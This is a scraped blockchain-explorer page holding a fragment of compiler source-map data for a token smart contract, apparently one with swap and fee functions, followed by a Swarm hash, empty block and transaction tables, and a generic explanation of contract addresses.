:1;:38::i;8673:63::-;8650:86;;8747:32;8782:39;8808:12;8782:21;8793:9;;8782:6;:10;;:21;;;;:::i;:39::-;8747:74:::0;-1:-1:-1;8832:14:0::1;8849:36;:6:::0;8747:74;8849:10:::1;:36::i;:::-;8832:53:::0;-1:-1:-1;8921:21:0::1;8953:24;8832:53:::0;8953:16:::1;:24::i;:::-;8988:20;9011:41;:21;9037:14:::0;9011:25:::1;:41::i;:::-;8988:64;;9063:19;9084:45;9101:27;9118:9;;9101:12;:16;;:27;;;;:::i;:::-;9084:12:::0;;:16:::1;:45::i;:::-;9063:66;;9140:29;9172:26;9188:9;;9172:11;:15;;:26;;;;:::i;:::-;9140:58:::0;-1:-1:-1;9212:34:0;;9209:103:::1;;9248:61;9261:24;9287:21;9248:12;:61::i;:::-;9368:16;::::0;9322:20:::1;::::0;9345:40:::1;::::0;:18:::1;:11:::0;9361:1:::1;9345:15;:18::i;:40::-;9322:63:::0;-1:-1:-1;9399:16:0;;9396:73:::1;;9425:18;::::0;9417:50:::1;::::0;-1:-1:-1;;;;;9425:18:0;;::::1;::::0;9417:50;::::1;;;::::0;9454:12;;9425:18:::1;9417:50:::0;9425:18;9417:50;9454:12;9425:18;9417:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9396:73;9505:21;9540:28:::0;;9537:82:::1;;9578:12;::::0;9570:47:::1;::::0;-1:-1:-1;;;;;9578:12:0;;::::1;::::0;9570:47;::::1;;;::::0;9601:15;;9578:12:::1;9570:47:::0;9578:12;9570:47;9601:15;9578:12;9570:47;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9537:82;-1:-1:-1::0;;5561:6:0;:14;;-1:-1:-1;;5561:14:0;;;-1:-1:-1;;;;;;;;8575:1051:0:o;7897:670::-;-1:-1:-1;;;;;8015:24:0;;7991:7;8015:24;;;:13;:24;;;;;;;;8011:47;;;-1:-1:-1;8049:7:0;;8042:14;;8011:47;8105:1;8071:31;8084:6;8092:9;8071:12;:31::i;:::-;:35;8068:477;;;8118:17;8138:60;8166:31;8179:6;8187:9;8166:12;:31::i;:::-;8149:11;;8138:23;;:6;;:10;:23::i;:60::-;8254:4;8236:24;;;;:9;:24;;;;;;8118:80;;-1:-1:-1;8236:39:0;;8118:80;8236:28;:39::i;:::-;8227:4;8209:24;;;;:9;:24;;;;;;;:66;;;;8291:42;;-1:-1:-1;;;;;8291:42:0;;;;;;;8323:9;1361:25:1;;1349:2;1334:18;;1215:177;8291:42:0;;;;;;;;8369:1;8347:11;;:24;:73;;;;;8409:11;;8375:31;8388:6;8396:9;8375:12;:31::i;:::-;:45;8347:73;8344:161;;;8422:81;8440:4;5215:42;8462:40;8490:11;;8462:23;8473:11;;8462:6;:10;;:23;;;;:::i;:40::-;8422:9;:81::i;:::-;8522:21;:6;8533:9;8522:10;:21::i;:::-;8515:28;;;;;8068:477;-1:-1:-1;8553:6:0;7897:670;-1:-1:-1;;7897:670:0:o;13135:443::-;13225:16;;;13239:1;13225:16;;;;;;;;13201:21;;13225:16;;;;;;;;;;-1:-1:-1;13225:16:0;13201:40;;13270:4;13252;13257:1;13252:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13252:23:0;;;:7;;;;;;;;;;:23;;;;13296:9;;:16;;;-1:-1:-1;;;13296:16:0;;;;:9;;;;;:14;;:16;;;;;13252:7;;13296:16;;;;;:9;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13286:4;13291:1;13286:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13286:26:0;;;:7;;;;;;;;;:26;13355:9;;13323:56;;13340:4;;13355:9;13367:11;13323:8;:56::i;:::-;13390:9;;:180;;-1:-1:-1;;;13390:180:0;;-1:-1:-1;;;;;13390:9:0;;;;:60;;:180;;13465:11;;13390:9;;13507:4;;13534;;13554:15;;13390:180;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13190:388;13135:443;:::o;9634:343::-;9747:9;;9715:56;;9732:4;;-1:-1:-1;;;;;9747:9:0;9759:11;9715:8;:56::i;:::-;9782:9;;9926:12;;9782:187;;-1:-1:-1;;;9782:187:0;;9848:4;9782:187;;;11174:34:1;11224:18;;;11217:34;;;9782:9:0;11267:18:1;;;11260:34;;;11310:18;;;11303:34;-1:-1:-1;;;;;9926:12:0;;;11353:19:1;;;11346:44;9953:15:0;11406:19:1;;;11399:35;9782:9:0;;;:25;;9815:9;;11108:19:1;;9782:187:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9634:343;;:::o;11464:218::-;11580:4;;11544:7;;-1:-1:-1;;;;;11580:4:0;;;11567:17;;;;11564:38;;-1:-1:-1;11593:7:0;;11586:14;;11564:38;11625:4;;-1:-1:-1;;;;;11625:4:0;;;11615:14;;;;11612:34;;-1:-1:-1;11638:6:0;;11631:13;;11612:34;-1:-1:-1;11663:11:0;;11464:218;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:316::-;2584:6;2592;2600;2653:2;2641:9;2632:7;2628:23;2624:32;2621:52;;;2669:1;2666;2659:12;2621:52;-1:-1:-1;;2692:23:1;;;2762:2;2747:18;;2734:32;;-1:-1:-1;2813:2:1;2798:18;;;2785:32;;2507:316;-1:-1:-1;2507:316:1:o;2828:592::-;2941:6;2949;2957;2965;2973;2981;2989;3042:3;3030:9;3021:7;3017:23;3013:33;3010:53;;;3059:1;3056;3049:12;3010:53;-1:-1:-1;;3082:23:1;;;3152:2;3137:18;;3124:32;;-1:-1:-1;3203:2:1;3188:18;;3175:32;;3254:2;3239:18;;3226:32;;-1:-1:-1;3305:3:1;3290:19;;3277:33;;-1:-1:-1;3357:3:1;3342:19;;3329:33;;-1:-1:-1;3409:3:1;3394:19;3381:33;;-1:-1:-1;2828:592:1;-1:-1:-1;2828:592:1:o;3425:388::-;3493:6;3501;3554:2;3542:9;3533:7;3529:23;3525:32;3522:52;;;3570:1;3567;3560:12;3522:52;3609:9;3596:23;3628:31;3653:5;3628:31;:::i;:::-;3678:5;-1:-1:-1;3735:2:1;3720:18;;3707:32;3748:33;3707:32;3748:33;:::i;:::-;3800:7;3790:17;;;3425:388;;;;;:::o;4078:329::-;4280:2;4262:21;;;4319:1;4299:18;;;4292:29;-1:-1:-1;;;4352:2:1;4337:18;;4330:36;4398:2;4383:18;;4078:329::o;6262:127::-;6323:10;6318:3;6314:20;6311:1;6304:31;6354:4;6351:1;6344:15;6378:4;6375:1;6368:15;6394:128;6461:9;;;6482:11;;;6479:37;;;6496:18;;:::i;8803:125::-;8868:9;;;8889:10;;;8886:36;;;8902:18;;:::i;8933:168::-;9006:9;;;9037;;9054:15;;;9048:22;;9034:37;9024:71;;9075:18;;:::i;9106:217::-;9146:1;9172;9162:132;;9216:10;9211:3;9207:20;9204:1;9197:31;9251:4;9248:1;9241:15;9279:4;9276:1;9269:15;9162:132;-1:-1:-1;9308:9:1;;9106:217::o;9460:127::-;9521:10;9516:3;9512:20;9509:1;9502:31;9552:4;9549:1;9542:15;9576:4;9573:1;9566:15;9592:251;9662:6;9715:2;9703:9;9694:7;9690:23;9686:32;9683:52;;;9731:1;9728;9721:12;9683:52;9763:9;9757:16;9782:31;9807:5;9782:31;:::i;9848:980::-;10110:4;10158:3;10147:9;10143:19;10189:6;10178:9;10171:25;10215:2;10253:6;10248:2;10237:9;10233:18;10226:34;10296:3;10291:2;10280:9;10276:18;10269:31;10320:6;10355;10349:13;10386:6;10378;10371:22;10424:3;10413:9;10409:19;10402:26;;10463:2;10455:6;10451:15;10437:29;;10484:1;10494:195;10508:6;10505:1;10502:13;10494:195;;;10573:13;;-1:-1:-1;;;;;10569:39:1;10557:52;;10664:15;;;;10629:12;;;;10605:1;10523:9;10494:195;;;-1:-1:-1;;;;;;;10745:32:1;;;;10740:2;10725:18;;10718:60;-1:-1:-1;;;10809:3:1;10794:19;10787:35;10706:3;9848:980;-1:-1:-1;;;9848:980:1:o;11445:306::-;11533:6;11541;11549;11602:2;11590:9;11581:7;11577:23;11573:32;11570:52;;;11618:1;11615;11608:12;11570:52;11647:9;11641:16;11631:26;;11697:2;11686:9;11682:18;11676:25;11666:35;;11741:2;11730:9;11726:18;11720:25;11710:35;;11445:306;;;;;:::o

Swarm Source

ipfs://7116f24e34ca014b103b10622d0e5186203a5df3fd10ac36b0d3d13ec6cd9fa9

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.